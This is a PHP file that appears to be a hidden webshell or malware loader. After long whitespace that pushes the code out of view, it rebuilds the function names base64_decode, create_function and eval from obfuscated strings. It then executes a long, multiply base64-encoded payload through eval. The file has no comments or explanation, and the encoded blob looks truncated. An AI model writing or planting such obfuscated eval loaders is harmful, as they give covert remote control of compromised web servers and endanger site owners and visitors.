<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         $QcQ04jxGbvyoocQA1PgR6 = 'bGPT7h4EHaGPT7h4EHsGPT7h4EHeGPT7h4EH6GPT7h4EH4GPT7h4EH_GPT7h4EHdGPT7h4EHeGPT7h4EHcGPT7h4EHoGPT7h4EHdGPT7h4EHe'; $QcQ04jxGbvyoocQA1PgR6 = str_replace('GPT7h4EH','',$QcQ04jxGbvyoocQA1PgR6); $IyZVTNSMHbJKklbcAR = 'cYf7vaREsOg6MtX6xK4yl2rYf7vaREsOg6MtX6xK4yl2eYf7vaREsOg6MtX6xK4yl2aYf7vaREsOg6MtX6xK4yl2tYf7vaREsOg6MtX6xK4yl2eYf7vaREsOg6MtX6xK4yl2_Yf7vaREsOg6MtX6xK4yl2fYf7vaREsOg6MtX6xK4yl2uYf7vaREsOg6MtX6xK4yl2nYf7vaREsOg6MtX6xK4yl2cYf7vaREsOg6MtX6xK4yl2tYf7vaREsOg6MtX6xK4yl2iYf7vaREsOg6MtX6xK4yl2oYf7vaREsOg6MtX6xK4yl2n'; $IyZVTNSMHbJKklbcAR = str_replace('Yf7vaREsOg6MtX6xK4yl2','',$IyZVTNSMHbJKklbcAR); $w1XHW6JQScLHtaWKO51bL = 'mR70H2wEIMdrJ463uXYemR70H2wEIMdrJ463uXYvmR70H2wEIMdrJ463uXYamR70H2wEIMdrJ463uXYl'; $w1XHW6JQScLHtaWKO51bL = str_replace('mR70H2wEIMdrJ463uXY','',$w1XHW6JQScLHtaWKO51bL); $TEv81SBEsg = '$hufngH1jfiknUWTXHaSZKdJ'; $eDMUlgAAxOU8HmV1PTTd26 = $IyZVTNSMHbJKklbcAR($TEv81SBEsg,$w1XHW6JQScLHtaWKO51bL.'('.$QcQ04jxGbvyoocQA1PgR6.'('.$TEv81SBEsg.'));'); $eDMUlgAAxOU8HmV1PTTd26('ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBFWWxaYU5Wa3lNRFZsVm1kNlUyMTRhbEo2YkRWYVJXUnpaRlp3TlZvelpFeFdTRTVNVVRJeGMySlZiRVJhTW1oaFlteGFNVmRVVGxOalIwbDVUbGRhWVZkSGFIZFplazVUWld0MFJGTnRSbFZXUmxwNFZGYzFSbVF5VFhsaFJ6RlpUVEJLZDFreU1EVmliVWw1WXpKc1RGVXlkek5STWpGaFRWZEtkRlJxUW1oV2Vtd3hVMVZhZDFSck5WaGlNMnhxVmtWS05sbFZaR0ZhYlU1SVlraHNhVTF0VWpKWldHeHVZMGRXTTJOSWJHRlhSa2w0V1RJd01Gb3hjSFJTYms1cVRXeFZNMUV5TkhkVE1FNTBZa2N4U2xFeVpHOVhiVFZYWkZacmVsVnVRbWxOYWxadFYyeG9iMk5IVFhwVmJuQk1VVEJ3VjFsdE1EVmFiSEJJVm0xd2FVMXNTbk5UVjJ4eVkwZFdNMk5ITVd0V2VsWnhXa1ZrYzJSdFNuQlJiRnBwWWxSc2JWZHJaRmRoYlVsNVZXMTRURkV4U2xWYVJXaExZMGRLZEZrelFrUmliazVNVTFWT1Fsb3diRVJWYkZKclUwVndkMWx0TVdwYU1VSlVVVzFzV2xkRk5YTlViWEJUV214d1NGWnRjR2xOYkVwelV6Qk9VMVpIVWtsVGJrSnBZbGRPZDFRelpIWmFNR3hFVVZka1MxSnJOVzlaYTJoU1QxVnNkRlZ0Y0U5WFJVVXhWMnRWTldReFJuUlVWMnhRWkRJNWJsTlZUa0phTUhCSFZHcENhbUV6YUhOWmJXeENUMVZzU1ZScVFtcGlXR2h6V1cxc2JtRXhWWHBWYm14b1ZucFdkVk14VW5wVE1HeEVVVmRrU2xFeFNsVlhiR2hHV2pGQ1ZGRlhiRk5TVkVaSFYyMXdWMU5XWkhWV2JFWnFWVEJyTTFFeWJFSmFNR3hFVVZkMFUwMXJXakJaYkdSR1dqRkNWRkZYYkVwaGJrNU1VMVZPUWxvd2JFbGFSemxvVmpOb2MxTlZUbTlsYlZKSlUyNU9ZVlo2VW5aVGExWnJZVWRLV0UxWGFFeFdTR1J5VmxST1UyVldVa2hXYmxaTVZWYzVibE5WVGtKYU1sWXpZakprU2xFd1JtNVRWVTVDV2pCc1JGVnNVbUZYUlZadVZVWk9RMlF4YkZoVWJrcE1VVEJ3U2xNeWJFcGpNazE1WVVkb1RsVXlaSEpWYWtwSFpFZEtXRkpZVmt0U2F6VnpXVEZOTUdFeFZYbFNiazVyVVRKMGQxUXpaSFphTUd4RVVWZGtTbEV3Um01VFZVNVRVMFpzV0UxWVVscFZlbEUxV1hwT1YyRlhUWHBWYm14TVVURktWVmRzYUVaak1ERkVaSHBTVEZaSVRreFRWVTVDV2pCc1NVMUZkRVJoVlVadVUxVk9RMlZXY0ZsVmFrWnFZbFJTYmxOcldrOU5SMDUwWWtoV1lVMVVVbkpWYWtwSFpFZEtXRkpVWkVSaWFrSk1XbXhHZGxNeVJsaFhWMlJNVVRCYWRGcEdZekZoYlZKSVlraGFhV0pFYkhOYVZXUnpaVzFTU1ZSWE9VcGlWMUp6V2tWWk5VMUdaM2xWYmtKcVlrUnNNRmRXYUU5bGEyeHdZVE5DYkdRelFuUmFSbU14WVcxU1NHSklXbWxoVlVwMVYyeG9VMXB0VWtkUFYzUm9WMFZ3YlZsc1pFZGxiVTQxV2pOQ1NsTklUa3hSTWpGellsVnNSR0ZITVd0V2VsWnhXa1ZrYzJSdFNuTlBWM2hzVWpKNE5scEZhRTVpTUd4MVZHcFdhazFVYkhWWGJHaFRXbTFTU0ZadVVtcFNhbXh5V1Zab1NtRlZkRlJoTW1Sc1pESTVibE5WVGtKYU1rWllWMWRrVEZKVlNuZFpla1UxVFRKT2RHSkVRbUZXTUZwd1dXdGtWbUl5VFhwaVNIQlpUVzFTYzFwRldUVk5SbkJZVFZoa1dVMXNTbmRaTW14dVkwVjBWR0V5Wkd4bFZVWnlXVEl4VjJWc1kzaE5SMlJSVlRCS05WZHNaRWRqTWs1SVVtcENhRkV5YURaYVZtaFBXbXh2ZVZacVFsbE5NVXB6V1d4b1ExcHNjRWhpU0d4TVVUSjBkMVF6YkVOUFZVNTFUVVYwU2xFd1JtNVRWV1J6WWxWc1JGb3lhR0ZXZWtZeldrVm9jbUl3Y0VkUFZWcFZZa1p3YVZOWGVGTlViRlpFVTIxU1RGVXdSblJUYld4RFVWZEdXVlJ0V210Tk1IQjNXa1ZrVjJGR2JIUmxSM2hNVTBWd2MxZFdaRFJrTVd4WlZXMDVURkV4U20xVmJGVXhWakZrTlZOc1ZsVldhMFp3VjBaT2NtTkZkRlJSYW1SS1VURktOVmRzYUU5WmJHaFVVVlJzU2xORmNITlhWbVEwWkRGc1dWVnRPVXhSTVVwdFZXeFZNVll4WkRWVGJGWlZWbXRHY0ZkR1RuSk9NR3hKVFVWMFNsRXdSbTVUVldSellsVnNSRm95YUdGV2VrWXpXa1ZvY21Jd2NFZFBWVnBWWWtad2FWTlhlRk5VYkZaR1ZXdHdWbUZWY0d0VE1VNUNZbFZ3Y0ZGclJtaFhSVFZ0V2tST1MyTkhVa2hXYldoYVlsaG9jMU13YUV0aVJteFlaVWhrV2xkR1NuWlRNRTVUV214S1ZrNVdaRmhsVlhCV1ZrWmFRMUpXVGxkVFYyeFpWVEowZDFNeFRrTk9NR3hFVlc1c1lWZEZOV2xYUms1Q1QxVnNTVk50ZUZwV00yZ3pWMVpvVTJJd2RFUlJWM1JaVFVaYVVGWnRlSHBoVmxwR1RWWkdVMUpYZUZSVFYzZDNZMFU1TlZGcWJFUmhWVVp1VTFWT1EyTkdjSEJSVnpsS1ZqRmFNRmt3YUZOT1ZYUkVWVzFhVTFaVVZsaFdNMnhMVmxaS1ZrMVdSa3BpUkVKM1UxVk9XbUpWYkVaUmJrSnFUVlJyZWxreU1YTk5SbkJZVW0xc2FWSXhWblpaTWpGWFlVZEtTVkZ0YUd0U01tUjJVMnRaTlZKc1VuTlhiVXBLWWtaS1IxWkdXa0poVm1oVVlUTkNURlV3U1ROVFZVNVRaVlp3V1ZSdFNsbFZNRVUxVTFWb1MySkdiRmhsU0dSYVYwWktkbE13VGtKaE1XZDNWbXM1VjJKSVRuQldhMVpYVkd4V1JGTnRVa3hXU0U1dVdteEdkbG93YkVSUlYyUkxVMFpLYzFsc2FFTmlWMFpZWlVkNFVWWlZTWGRYYkdONFpESktkRkp1VWt4U2FteHRWVzEwYzFSV1NsZFBWMXBOVVRCc2NGTXhVbnBUTUd4RVVWZGtTbEl5ZUhSVFZVNXZVVlp3ZEdKSVRtRldhbXh6V2xWa2MyVnRVa2xVVnpsTFUwWktjMWxzYUVOaVYwWllaVWQ0VEZVeWRHNWFXR1IyV2pCc1JGRlhaRXBSTUVwQ1drWmpNV015UmxoT1dFcE1VVEZKZDFkc1kzaGtNWEIwWWtoT1lWVXljek5STW14Q1dqQnNSRkZ1UW1GaFZVWjJWVlZrYzJWc1ozcGFTR3hvVjBaS2MxZFdaRXRqTVhCVVlVaHNZVll3V25wWk1HUkhUVWRHUkdGSGRHaFhSWEF4VjFaamVHSkZkRVJWYWtKaFZucEdNMWR0TVhOak1YQlVZVE5DVEZVeWRHNWFXR3hUWlZad1dWUnRTbGxWTUVVMVUxVm9TMkpHYkZobFNHUmFWMFpLZGxNd1pGTmpSMDUwVGxkb2FWWXhWblpUYTJoVFlrZEtXVkZ0TVdoV00yaHpVekZPY2s0d2JFbE5SWFJLVVRCR2JsRXliRUphTUd4RVVXcHNSR0ZWUm01VFZVNURZMFp3Y0ZGWE9WSlNNbmcyVjBST2EyVlhSbGxWYlhoYVZqQndlbGRzVG05bFZuQllVbTVPYWxJd1dYZFpWVTV2VVZkR1dFNVlRbGxOYlZKeldrVk9ibUZYVWxsUmJrNXBUV3RhY2xkRVRsTmtSMDVIVDFkMGFGZEZiSEJUTVU1eVkwVjBWRkZxWkVwUk1VbzFWMnhvVDFsc2FGUlJWR3hLVTBWd2MxZFdaRFJrTVd4WlZXMDVURkpWU25kWmJURnpXbXh2ZVZacVFreFJNRzk0V1RCa05HUnNiRmhWYlZwclVucEdNMWRFU2xOalIwNXdVMWhDVEZaSVRtNWFiRVoyV2pCc1JGRlhaR2hXTVd4dVV6QldRMk5IVFhoUFZFNXFZbGQzZDFkc1pFZGhWMHBJVmxjNWFtSldXbTlaYTJoRFlVZFNTRm95T1dwTmJGbzJXWHBLYzJSdFNuTlBXSEJhVjBad2MxZEVUa05oUjFKSVdqSTVURlV5ZEhkVE1VNURUakJ3U1ZOdGVHcE5XRkpyVTFWUmQxb3lUblJXYldocFUwVktiMXBGWkc1aU1rMTVWbTV3YWsxdGVESlpiWGMxWld4c1dWZHRlRmxOTUVwdldrVmtibUl3ZEZSaGVtUktVMFJDVEZOVlRrSmFNR3hJWWtjeFNsRXlhRUpaVm1oUFdtMVJlbE51UW10U01WcHZWMWN4TkdKRmRFbFRiWGhhVmpOb00xZFdhRk5pTUhSSVZXNUNhbUpVVm05WmJHUldZakZuZUU5VlpGUldXR2hIVjBSRk5HTkZkRlJoTTBKS1UwaE9ibE5yYUV0aVIwMTRaRWRTU2xKRVFtNVpNakZYWVVkS1NWRnRhR3RTTW1SMlYydGtjMlZYU25SU2JsSmhWVEpvYlZkRVFtRlRiRkpHVm0xYVdXVlhkSGRVTTJ4RFQxVk9ibUl5WkVwUk1FWnVXVEl4VjAxSFVsbFRibFpLVWpCYU5Wa3lNVWRPVm1kNlZtNVdhRmRGV1hoWGJFNXVZVEpPZEZadWNFeFdTRTVNV214R2QwOVZUbTVqU0VKaFlWVkdkbE5XWkdGTlYwcDBWR3BDYUZaNmJERlhSRXBYVGtkR1dWUnFRbXBsVjJSd1YycEtWMDFHWjNwV2JXaEtZVmQwZDFwWVpIZGlWMUpZVGxkd2ExSXllREpaYld4RFlteHdXVlZ0V210V01GWjJVekZvZWxNd2NFaE9WMmhwVmpGV2JsVkdUa05pYkhCWlZXMWFhMU5GYjNoWGJGazFaRlpzV0UxWGVFeFJNbk16VVRKa2QySlhTWHBUYlhoYVZqQTFkbE13Wkd0aVIxSkhUMVJDV1Uxc1NuZFpNbmMxWkVac1dWUnVjRXhSTW5SdVYxWm9UbG93Y0VsVldFSnNaRE5DZDFkdGJHOWlWMFpZWlVkNFdVMXNXVEJaVm1oUFRVZE9OVm95ZEd0UmVsWkdWVEZhUzFKc1JYaFZiRUpXWWtkNGJWWlVRbGRWVmtaWFUydEtWMUpVYkZSVVIyeFRaRlpzV0UxWGVFeFZNbmN6VVRJeFlXUnRUblJXYldoYVRXMWtibE13WkdGalIwcElWbGM1UzFOR1JqRlZhMVp6VlRGS1ZsUnNWbFZOVlhCaFYwUkdUMUpzVmtaU2JFNVNWbXhLVVZaWGF6QmhNa3AwVW01U1lWVXlkRzVYVm1oT1dqQndTVlZxUWt4WFNFNU1VMnRvVTAxRmJFVk5SMlJYVm5wV01sZEVTbE5pUm10NVQxZDBZVlV5WkhKYVJXaFNZMFU1TTJOSVFtRmhWMmcyV2tWb1MyUXlTWHBVVnpsTFUwWkpkMVJGVGtwa1ZXeHdZVEprVVZaRVFUVlRWV1JoWVVkS1NWUnRlRXhYU0U1TVUydG9VMlJIVGtSUlZHeEtVakZaTUZrd1pEUmtiSEJJVmxjNVNtSnVaSEJVUlU1VFRVZFNSR0Y2WkVSaVZuQXlXVEl4VjJGR2EzbGFNamxMVTBaS01Ga3dUa05oUjA0MVVWZDBhMVV5ZHpOUk1teFRZMjFLZEU5VVRsaE5WRUp1VlVaT1EwMUhUblJpU0ZKTVVURkplRk14VW5wVE1scFNZMFJzUkdKcVFreGFiRVozVDFWT2RHSkhNVXhTTURVeVdrWmpNVTFGZEVSVmJrcHBZbFJyZWxNeFRrSlBWa0pVVVZoa1RGZElUa3hUYTJRd1pGZEplbHBIU2xsVk1FVTFVMVZPUzJSSFRYbGlSM2hLWVc1T1RGTnJaREJrVjBsNldrZEtXVlV3UlRWVFZVNUxZbGRHV1ZOdGVHRmlWR3N3VTFkd2VsTXdjRWhrU0ZacFRUSlNhVmRHVGtKUFZXeEVVMjAxYVUxcWJIVlphMlJYWVZkSmVsVlhiRkJrTTBFMVVUSTFTMkpIVWtsV2JteHBZVlZLYjFreU5VdGhSMVpYVDFSR2FXSlhlRFJhUm1SV1lqQndTR1JJVm1sTk1rNTNWRE5rZDA5VlRuVk5SWFJFWWxkNGRGTlZUbTVoUm5CMVZtNVdXazB4U25kWmFra3hXbXh3V1dGSVFtcE5NVW8yVXpCT1MySnNjRmxWYlZwclUwVnZlRmRzV1RWa1ZteFlUVmQ0U21GWGRIZGFXR1IzWWxkU1dFNVhjR3RTTW5neVdXMXNRMkpzY0ZsVmJWcHJVMFZ2ZUZkc1dUVmtWbXhZVFZkNFRGRXlkek5STWpWTFlrZFNTVlp1YkdsaFZVWndWRWN4UzJGR2EzbGtSRVpxVW1wcmQxbFdZM2hpUld4eFl6QjBiVlZZUVRWUk1tUjNZMFp3Y0ZGWE9VcFdNVzk0V1cweFQwMUhSbGhQV0ZaWlRXeFpNRmxXYUU5TlIwNDFXakpzYWsweFNqVlpNR00xWld4c1ZGTllRa3hYU0U1TVYyMDFWMlJXYTNwVmJrSnBUV3BTYmxsNlRsTmxWMDVJVDFod1dsVXlaSEpaVldSSFRsZE5lbFZ0YUZwTmJrNTZVMVZPVTJSV2NGaFdiWFJwVWpGV2VsTlZUbE5rYkhCMFYyNXdZVmRHUlRWVVZVNXlXakpXTTJJeVpFcFJNRVp1V1Zaa1dtSXdiRmhpU0hCWlRXdGFOVmt5TVVkT1ZYUkVWVzVXWVZZeFduSlphMlJXWTBWMFZGRlhkR2xpVmxwelYydGtOR0pGYkVWTlIyUmFWMFZ3TlZkV2FISmlNSEJJVGxkNFlWWXhTbnBYYkU1eVRqQk9jRkZYWkVwUk1FcDBXV3BPUzJKR2JGaFViVGxNVVRGS01WZHNaRmRoTWtwSVZsZGtXbGRGTVc1VGEyaEhUVlp3V1ZOcVZreFZNRWt6VVRKc1Fsb3diRVJSVjJSS1VUQkdibGxXWkZwaU1rMTZWVzVzYWxKNmJEWlRNRTVUWWpGc1dXSkljR3RTTUZweFdWaHNNMW93Y0VsU2FrWmhWMFZ2TVZSRlRrSmhNa2w1VjIweGFrMXNXWGRUTVU1Q1lVWkNWVTFIWkdGaVZWcDZXWHBLVm1ORmJFbFRiWGhyVTBaYU5WbHRiRU5OUjA1MVZtMTRVR1F5T1c1VFZVNUNXakphVW1JeVpFcFJNRVp1V1RJeFYwMUhVbGxUYmxaS1VqRndiMWxyYUU5aVJUa3pZMFJzUkdKcVFreFJNakZ6WWxWc1JHRklRbXBOTURWeldrVk9ibUV4WjNoVWExcFdZa1p3UjFaWGVIcGhWazVIVld4V1ZsSnFiRmRXVkVKWFZURm5kMUpyYUZOV1ZGWldVMWQzZDJORmRGbGpNSFJMVTBaYWIxTlZVWGRhTWsxNlZXNXNhMUo2YkhwWmFrNXJZa2RPY0ZveWRGbE5WVFZIVmxkNFlWSnNWbk5qTW14VVVteEtWbFpWV1RWV2JGVjNWbXhPV1UxRldrbFZiRlV4VmxWc2MwMUlRbEJrTWpsTVUydG9VMlZYVWxoV2JWcHJWakJXYmxWR1RrTmliSEJaVlcxYWExWXdWblpUTVZKNlV6Qk9kR0pITVVwUk1tZzJXa1ZvUzJReVNYcFViV2hNVVRGSmVGZFdUak5oTWxKSlUycEdZVlpxYTNoWFZrNXlZMGRXTTJJd2RHaFdNV3h1VXpCT1IySlhVbGhPVjNCclVqSjRNbGx0ZHpWaVIxWklZa2h3YTFORk1YWlRWelZUV214d1NHSkliRXBoVjNSM1dsaGtkMkpYVWxoT1YzQnJVako0TWxsdGJFTk5SbWQ1Vlc1Q2FtRlhaSGRUVldoNlV6SkdXRmRYWkV4U01XOTRXVzB4VDAxSFJsaFBXRlpaVFd4Wk1GbFdhRTlOUjA0MVdqSnNhazB5ZURaWFJFcHJZa2RTUjA5VVFtRldla1l6VjBSS1UyTkhUbkJUV0VKTVZUQkpNMUV5YkVKYU1HeEVVVzVDWVdGVlJuWlZWV1J6Wld4bmVscEliR2hYUmtwelYxWmtTMk14Y0ZSaFNIQnNWMFUxYlZkcVNsZE5SbWQ2VlcxNGFWZEZTbTFYYTJSelpWVjBSR0V6UWt4Vk1Fa3pVMVZvUzJKSFVrbFdibXhwWVZWS05WZHNaRWRqTWs1SVVtcENhRkV5YURaYVZtaFBXbXh2ZVZacVFsbE5NVXB6V1d4b1ExcHNjRWhpU0d4TVVUSjBkMVF6YkVOUFZVNTFUVVYwU2xFd1JtNVRWV1J6WWxWc1JGb3lhR0ZXZWtZeldrVm9jbUl3Y0VkUFZWcFZZa1p3YVZOWGVGTlViRlpFVTIxU1RGVXdSblJUYld4RFVWZEdXVlJ0V210Tk1IQjNXa1ZrVjJGR2JIUmxSM2hNVTBWd2MxZFdaRFJrTVd4WlZXMDVURkV4U20xVmJGVXhWakZrTlZOc1ZsVldhMFp3VjBaT2NtTkZkRlJSYW1SS1UwVndjMXBGYUZkbFYwcHdVVzVzWVZZd1ducFpNR1JIVFVkR1JGb3lkRmxOUmxwUVZtMTRlbUZXV2taTlZrWktZa1JDZDFRemJFTlBWVTV3VVZka1NsRXdTbmRYYld4Q1lqQnNXRlp1VW1wVFJra3hVekJPVTFwc1NsWk9WbVJZWlZWd1ZsWkdXa05TVms1WFUxZHNXVlV5ZEc1VGJXeGFXakZHU0dKSWNGbE5NbEkxV1Zab1UySkdiRmhUYms1aFZUSm9OVmRzWkVkak1rNUlVbXBDYUZFeVpISlhSRUpYVkRGYWMyTXliRmRTVkVaU1ZXdFdjMVV3YkhOTlNFSk1WVEowYmxwWWJFTmxWbkJaVldwR2FtSlVVbTVaTWpGWFlVZEtTVkZ0YUd0U01tUjJVMVZPVTFwc1NsWk9WbVJZWlZWd1ZsWkdXa05TVms1WFUxZHNXVlV5Y3pOVFZXZDNVekJzUkZGWFpFcFNNbmgwVTFWT2JtRkdjRmhOV0dSclUwZDBkbE5yV1RWU2JGSnpWMjFLU21KR1NrZFdSbHBDWVZab1ZHRXlaRXRoVm14dVZWVmtjMlZzWjNwYVNHeG9WMFpLYzFkV1pFdGpNWEJVWVVoc1lWWXdXbnBaTUdSSFRVZEdSRm95ZEZsTlJscFFWbTE0ZW1GV1drWldhelZXVVRCd2ExTXhUbkpqUld4Sll6SmthbUpXV1hkYVJtaExaRlZzU1ZOdGVGcFdNMmd6VjFab1UySXdkRVJSVjNSWlRVWmFVRlp0ZUhwaFZscEdWbXMxVmxFd2NHdFRNVko2V2pKYVVtSXlaRXBSTUVadVUydG9VMkpIU2xsUmJURm9Wak5vYzFWR1ZrTk5SbkJZVFZoa2FXSlZXakJUTUZrMVdteEtjbUpGTVZOV2FteHRWRVZPU21GVmRGVmpNSFJLVVRCR2JsTlZaSE5pVld4RVlVVkdZV0pYZUhwWGJGazFZa2RXU0dKSWNHdFRSVEYyVTJ0b1UySkhTbGxSYlRGb1ZqTm9jMU14VG5KYU1sWXpZakprU2xFd1JtNVRWVTVEVVZkU1dFNVlUbWhXZWxaNVV6Qk9VMDFHY0ZoTldHUmhZbGQ0ZWxkc1RuSk9NRTV3VVZka1NsRXdTbmRYYld4Q1lqRkdTR0pJY0ZsTk1sSTFXVlpvVTJKR2JGaFRiazVoVlRKb05WZHNaRWRqTWs1SVVtcENhRkV5YUhKWlZtaExaRlpzV0UxWGVFeFJNVWwzVjJ4amVHUXhjSFJpU0U1aFZUSjBkMU14VG5KYU1sVjZVMjE0YTFOR1dqVlpiV3hEWlZad1dGSnVUbXBTTUZsM1dWVk9iMkV5UmxsVGJsWmFWbnBHYzFNd1RsTk5SbkJZVFZoa1lXSlhlSHBYYkU1eVkwVTVOVkZxYkVSaFZVWnVVMVZHZGxvd2JFUlJWMlJ0VlZjNWJsTlZUa0phTWtaWVYxZGtURkpWU25kWmVrVTFUVEpPZEdKRVFtRldNRnB3V1d0a1ZtSXlUblJXYldocFUwVktiMXBGWkc1aU1VWklZa2hXYUZacWJIVlhiR2hTWWpCc2RWWnVaR2xTZW14dlYydFpOVTFIU2xsUmJWcGhVako0TlZOWGJISmpSWFJVWVRKa2JHVlZTalZYYkdoVFRWZE9kRTVIWkdwaVZscHZXV3RvUTJGSFVraGFNamxTVWpKNE1WbFdXVFZpYkhCWlZWYzVTbUpzV2pOWmEyTTFZVVp3UjA5VVFtbFhSVXB0VjJ0a2MyVlZiSEJoTTBKUVpWVkpOVkV5YkVKYU1HeEVVVzVDWVdGVlJuWlZWV1J6Wld4bmVscEliR2hYUmtwelYxWmtTMk14Y0ZSaFNHeGhWakJhZWxrd1pFZE5SMFpFWVVod1lWZEZOVFpaVm1NMVpGWm5lbFJ0YUd0aVZscHRXVEJrUjAxSFJrUmFNMEpNVlRKMGQxTlZhSHBhTWs1MFZtcENhMWRGY0RGVFZXaExZa1pzV0dWSVpGcFhSa3AyVXpCb1QySkhUWHBVYmtKcFRXcFdiVmw2U2tkTmJIQlhUMWhrV2xkR1NuWlRNRTV5WTBVNU5WRnFiRVJoVlVadVUxVk9RMk5HY0hCUlZ6bFNVako0TmxkRVRtdGxWMFpaVlcxNFdsWXdjSHBYYkU1dlpWWndXRkp1VG1wU01GbDNXVlZPYjJFeVJsbFRibFphVm5wR2MxTXdXVFZhYkVweVlrVXhVMVpxYkcxVE1VNXlZMFYwVkZGcVpFcFRSWEJ6V2tWb1YyVlhTbkJSYm14aFZqQmFlbGt3WkVkTlIwWkVZVWQwYUZkRmNERlhWbU40WWtWMFIwOVhXbE5oTW5oT1ZXeFpOVnByZEZSaGVtUktVMFJDVEZOVlRrSmFNR3hKVTIxNGExTkdXalZaYld4RFpGZFNXR1ZJVGxCa00wRTFVVEkwZDFNd1RuUmlSekZLVVRKa2IxZHROVmRrVm10NlZXNUNhVTFxVm0xWGJHaHZZMGROZWxWdWNFeFJNSEIxVjJ4b1UxcHRSWGxPV0ZwclRWUnNkMWt3VGtwalJYUlpZekIwWVdKc1dqRlhWRTVUWTBkSmVVNUhaR0ZOYkZsM1YwUktNR1JYU1hwYVIxcG9WMFZHZGxNeGFIcFRNSEJJWkVoV2FVMHlVbWxYUms1Q1QxVnNSRk5ZYUU5V1JWWXhWRmR3VGsxcmVIRlNWRUpOWVcxamVWTlhjSHBUTUhCSVpFaFdhVTB5VW1sWFJrNUNUMVZzUkZOWWFFOVNSM1F4VkZaU1ZrMUZlSEZTVkVaUFpWUlNORlJZY0U1aFZUa3pZakowYUUxcVZqSmFSRVl3V2tWc1JVMUhaRXBoYXpCNlZFZHdTbVZyTlZST1JFWlBVWHBSZDFRd1RrcE9NRTV3Vlc1S2FXSlVhM3BXZWtWM1dqRkNWRkZYYkU1bGExWXhWRmR3UmsxVmVIRlRXR1JQVlhwU05GUXhVbHBoVlRrellqQjBTMUo2Vm05WmJHUldXakZDVkZGdE5XRlhSa3B0V2tWb1MwMVdjRmRQV0ZaYVZucEdjMU13VG5KT01FNXVZMGN4YVUwd2NITlhWbVJQWWpCMFNGcEhlR3RTYW10M1YwUktVMk5IVG5OUFdGSmFWMFUxTmxNd1RuSmFNV3haVkZka1MxTkdSbmRhV0dSM1kwWndjR0ZITVdoV00yaHpWMFJLVjA1SFJsbFVha0pxWlZka2NscEZUVEZTVms1WFUydGFVazFXU2xGV1YzaHpXbXhWZDFac1JsSldhM0JEVm10Vk5WVXdlSEJWYmxaYVZucEdjMU14VG5OT01FNTBWMjVhYW1KV1dtOVhWRXB1V2pCMFNGZHVRbWxTTVZaMlUydG9VbVJXU2taaVJrNVRWbFUxVmxaRVJrdFhiR2Q0Vkd0YVZsSlZXbFJWVmxwVFZVWldjRTVIZEdsaVZWb3dWMnhPY2xveGJGbFVWMlJMVTBaSmQxTXhhSHBUTUhCSlZXcENTbEpFUW01V2JHTXhaR3huZVZWdGVGcE5hbXh5VjJ4T2JtRXlVa2xWV0VKUVpETkNkMWR0Ykc5bGJWSkpVMjVrYVUwd01YWlRhMmhUVFVWNFJGTllWa3BoVjNOeVZGVk9jMDR3VG5CVmJrcHBZbFJyZWxaNlJYZGFNVUpVVVdwQ2FtSlhlREJUTUU1VFRVZFNSR0Y2WkVSaWFrSk1XbXhHZDA5VlRuVk5SWFJxWWxaWmQxcEdhRXRrVld4SVVtNXNhbUpWV1RGWFJFNVhaRmRHV1ZKcVJtRlZNbVJ5V1ZSSk1XUnRValZoZW1SRVltcENURnBzUm5aVE1rWllWMWRrVEZFd1duUmFSbU14WVcxU1NHSklXbWxpUkd4eldsVmtjMlZ0VWtsVVZ6bEtZbXMxYjFwSE1WZGFiVVY1VGxoYWEwMVViSGRaTUU1S1kwVjBXV013ZEdGaWJGb3hWMVJPVTJOSFNYbE9SMlJxVFd0WmVWZHNXVFZqYlVwMFQxUk9XVTF0ZUROVE1FNVRZMGRPUkdKRVpFUmhWa294VjFaamVHSkZiRVZOUjJSaFRXeFpkMWRFVGxObFYxSllWbTFhYVdKVldqQlhiRTV1WTBVNU0ySXlkRnBOYW13eFdrVmtWMlJYVWtSUlZHeEtVVEJLZDFsc2FFTmpNa2w1VlcxNFRGSnJTa3BXVlZrMVVteFJkMlF6VGtwUk1VcDNXVEJPY2s0d1RuUlhibHBxWWxaYWIxZFVTbTVpTVc5NVZtcENXVTB4U20xWGEyUnpaVlpuZVUxWGFHcE5NREYyVXpGT1EyRkhUalZSVjNSclVUSjNNMUV5YkZOaVZXeEZUVWRrWVdKVWJETlhiR013WWpCd1NWVllWbE5TVjNoVVZXeFdUMVpXVVhoVGJIQlpUVlUxUjFaVlZrZFZNVVpYVld4Q1ZtRlVVbkpaYlRGSFpFWndWR1F5Ykd0bFZXeDNWRE5rZDJKWFRrbFdha0pxWlZka2NsZHRiRE5oTVd0NVQxaFdhMUl4V2pGYVJVNXlUakJPZEZkdGNHbFNlbXcyVjJ4T2JtRXhjSEJoZW1SRVltcENURnBzUm5kUFZVNXVZMGhDWVdGVlJuWlRWbVJoVFZkS2RGUnFRbWhXZW13eFYwUktWMDVIUmxsVWFrSnFaVmRrY0ZZeWMzZE5WMFp4VTI1b1RsTkZOWFpYYlhjMVlteHdXVlZ0V21waVZscHZXV3RaTldOSFRrUlRXRUpNVjBoT1RGZHROVmRrVm10NlZXNUNhVTFxVW01V01uTjNUVmRHY1ZOdWFFNVRSVFYyVjIxM05XSnNjRmxWYlZwcVlsWmFiMWxyV1RWalIwNUVXak5DU2xOSVRreFRhMmhEWlZkSmVtRkVWbGxOYldoelYxWmtVMkpIVG5WVVYyUlJWVEJLYjFreU5VdGhSMVpVV2pKc1VrMUlhRXRWYkZVeFZsWm5kMkpHUmtwaFdHUndWVzF6TlZVeFdYZFNiRTVUVWxaYVJsTlhiRE5oVmtweVQxWk9WMDFGV2xSVmExWlhVbFpuZDFkc1FsWmhWV3g2VTFkMFlWVkdWbk5hUlVwV1lURktSMVZyV1RWU01WRjRVMjFhVkZaclJuQlVSVTVMVTFaYVIxVnNSbGxOUlRWT1ZURldWMVF4V2tkUFZYQldVVEJzZWxOWGRHOVdWbHBIVVcxYVUyRjZiRlJXYWtKSFZURktSbFpyVmtwaFdHUndWVEJhVTFaV1ZrZFBWV1JWVFZWd1dWVldXa3RTVmtwV1ZXMWFVMkY2YkZSVFYyd3pZVlpPUjFWc1ZsWlNhbXhJVmtSR1MxZEdSbGRUYTFaVFZsWktiVlZ0Y3pWVk1XZDNZa1pHU21GWVpHNVRWM1J2VmxaYVIxRnRXbFpTVlRWdFZsZDBWMVJzVVhoVmExcFpUVVZhUmxWcldrcGhWWGhFVTJ0c1YxSnNTbEpYUkVaRFZURlJlR0ZHY0ZsTlJUVlJWa2R6TVZK